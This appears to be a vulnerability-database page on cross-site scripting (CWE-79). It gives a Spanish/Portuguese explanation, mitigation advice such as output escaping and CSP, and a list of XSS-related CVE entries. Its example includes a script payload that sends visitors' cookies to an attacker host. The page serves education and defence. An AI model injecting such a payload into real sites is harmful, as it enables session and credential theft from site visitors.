Fallos del tipo CWE-79

29.611 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-5231HIGHWP Statistics <= 14.16.4 - Unauthenticated Stored Cross-Site Scripting via 'utm_source' ParameterEPSS 0.4%CVE-2022-48007MEDIUMA stored cross-site scripting (XSS) vulnerability in identification.php of Piwigo v13.4.0 allows attackers to execute arbitrary web scripts EPSS 0.4%CVE-2026-97783HIGHMicrosoft Office SharePoint Spoofing VulnerabilityEPSS 0.4%CVE-2026-6431HIGHUser Profile Builder <= 3.15.7 - Unauthenticated Stored Cross-Site Scripting via 'Biographical Info' Meta FieldEPSS 0.4%CVE-2026-9107MEDIUMKali Forms <= 2.4.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'kaliforms_field_components' ParameterEPSS 0.4%CVE-2021-34181MEDIUMCross Site Scripting (XSS) vulnerability in TomExam 3.0 via p_name parameter to list.thtml.EPSS 0.4%CVE-2024-13197MEDIUMdonglight bookstore电商书城系统说明 AdminUserControlle.java updateUser cross site scriptingEPSS 0.4%CVE-2022-40968MEDIUMWordPress 2kb Amazon Affiliates Store Plugin <= 2.1.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-13192MEDIUMZeroWdd myblog BlogController.java update cross site scriptingEPSS 0.4%CVE-2022-41315MEDIUMWordPress Ezoic plugin <= 2.8.8 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-11780MEDIUMQuiz and Survey Master (QSM) <= 11.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'question_title' ParameterEPSS 0.4%CVE-2026-4658MEDIUMGutenberg Essential Blocks <= 6.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block AttributesEPSS 0.4%CVE-2026-13246MEDIUMGiveWP <= 4.16.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'block_id' Shortcode AttributeEPSS 0.4%CVE-2024-1572MEDIUMWP ULike <= 4.6.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-2752MEDIUMWhere Did You Hear About Us Checkout Field for WooCommerce <= 1.3.1 - Authenticated (Shop Manager+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-16597HIGHGTM4WP <= 1.22.3 - Unauthenticated Stored Cross-Site Scripting via WooCommerce Billing FieldsEPSS 0.4%CVE-2026-15002HIGHAutopay <= 5.0.0 - Unauthenticated Stored Cross-Site Scripting via 'bm_woocommerce_css_editor_content' ParameterEPSS 0.4%CVE-2026-15052HIGHMailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder <= 4.3.3 - Unauthenticated Stored Cross-Site Scripting via Form Field ValuesEPSS 0.4%CVE-2026-85414MEDIUMGallery : FooGallery <= 3.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'custom_settings' Shortcode AttributeEPSS 0.4%CVE-2026-21264CRITICALMicrosoft Account Spoofing VulnerabilityEPSS 0.4%